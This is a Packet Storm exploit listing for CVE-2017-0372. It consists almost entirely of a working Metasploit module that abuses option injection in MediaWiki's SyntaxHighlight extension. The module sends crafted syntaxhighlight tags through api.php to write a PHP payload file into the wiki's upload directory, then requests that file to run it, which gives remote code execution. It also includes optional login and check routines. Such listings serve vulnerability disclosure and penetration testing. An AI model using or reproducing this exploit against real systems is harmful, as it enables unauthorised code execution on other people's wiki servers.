MediaWiki SyntaxHighlight Extension Option Injection

2017-05-20T00:00:00
ID PACKETSTORM:142607
Type packetstorm
Reporter Yorick Koster
Modified 2017-05-20T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MediaWiki SyntaxHighlight extension option injection vulnerability',  
'Description' => %q{  
This module exploits an option injection vulnerability in the SyntaxHighlight  
extension of MediaWiki. It tries to create & execute a PHP file in the document root.  
The USERNAME & PASSWORD options are only needed if the Wiki is configured as private.  
  
This vulnerability affects any MediaWiki installation with SyntaxHighlight version 2.0  
installed & enabled. This extension ships with the AIO package of MediaWiki version  
1.27.x & 1.28.x. A fix for this issue is included in MediaWiki version 1.28.2 and  
version 1.27.3.  
},  
'Author' => 'Yorick Koster',  
'License' => MSF_LICENSE,  
'Platform' => 'php',  
'Payload' => { 'BadChars' => "#{(0x1..0x1f).to_a.pack('C*')} ,'\"" } ,  
'References' =>  
[  
[ 'CVE', '2017-0372' ],  
[ 'URL', 'https://lists.wikimedia.org/pipermail/mediawiki-announce/2017-April/000207.html' ],  
[ 'URL', 'https://phabricator.wikimedia.org/T158689' ],  
[ 'URL', 'https://securify.nl/advisory/SFY20170201/syntaxhighlight_mediawiki_extension_allows_injection_of_arbitrary_pygments_options.html' ]  
],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['Automatic Targeting', { 'auto' => true } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 06 2017'))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "MediaWiki base path (eg, /w, /wiki, /mediawiki)", '/wiki' ]),  
OptString.new('UPLOADPATH', [ true, "Relative local upload path", 'images' ]),  
OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),  
OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ]),  
OptBool.new('CLEANUP', [ false, "Delete created PHP file?", true ])  
])  
end  
  
def check  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api.php'),  
'cookie' => @cookie,  
'vars_post' => {  
'action' => 'parse',  
'format' => 'json',  
'contentmodel' => 'wikitext',  
'text' => '<syntaxhighlight lang="java" start="0,full=1"></syntaxhighlight>'  
}  
})  
  
if(res && res.headers.key?('MediaWiki-API-Error'))  
if(res.headers['MediaWiki-API-Error'] == 'internal_api_error_MWException')  
return Exploit::CheckCode::Appears  
elsif(res.headers['MediaWiki-API-Error'] == 'readapidenied')  
print_error("Login is required")  
end  
return Exploit::CheckCode::Unknown  
end  
  
Exploit::CheckCode::Safe  
end  
  
# use deprecated interface  
def login  
print_status("Trying to login....")  
# get login token  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api.php'),  
'vars_post' => {  
'action' => 'login',  
'format' => 'json',  
'lgname' => datastore['USERNAME']  
}  
})  
unless res  
fail_with(Failure::Unknown, 'Connection timed out')  
end  
json = res.get_json_document  
if json.empty? || !json['login'] || !json['login']['token']  
fail_with(Failure::Unknown, 'Server returned an invalid response')  
end  
logintoken = json['login']['token']  
@cookie = res.get_cookies  
  
# login  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api.php'),  
'cookie' => @cookie,  
'vars_post' => {  
'action' => 'login',  
'format' => 'json',  
'lgname' => datastore['USERNAME'],  
'lgpassword' => datastore['PASSWORD'],  
'lgtoken' => logintoken  
}  
})  
unless res  
fail_with(Failure::Unknown, 'Connection timed out')  
end  
json = res.get_json_document  
if json.empty? || !json['login'] || !json['login']['result']  
fail_with(Failure::Unknown, 'Server returned an invalid response')  
end  
if json['login']['result'] == 'Success'  
@cookie = res.get_cookies  
else  
fail_with(Failure::Unknown, 'Failed to login')  
end  
end  
  
def exploit  
@cookie = ''  
if datastore['USERNAME'] && datastore['USERNAME'].length > 0  
login  
end  
  
check_code = check  
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears  
fail_with(Failure::NoTarget, "#{peer}")  
end  
  
phpfile = "#{rand_text_alpha_lower(25)}.php"  
cssfile = "#{datastore['UPLOADPATH']}/#{phpfile}"  
cleanup = "unlink(\"#{phpfile}\");"  
if not datastore['CLEANUP']  
cleanup = ""  
end  
print_status("Local PHP file: #{cssfile}")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api.php'),  
'cookie' => @cookie,  
'vars_post' => {  
'action' => 'parse',  
'format' => 'json',  
'contentmodel' => 'wikitext',  
'text' => "<syntaxhighlight lang='java' start='0,full=1,cssfile=#{cssfile},classprefix=<?php #{cleanup}#{payload.encoded} exit;?>'></syntaxhighlight>"  
}  
})  
if res  
print_status("Trying to run #{normalize_uri(target_uri.path, cssfile)}")  
send_request_cgi({'uri' => normalize_uri(target_uri.path, cssfile)})  
end  
end  
end  
`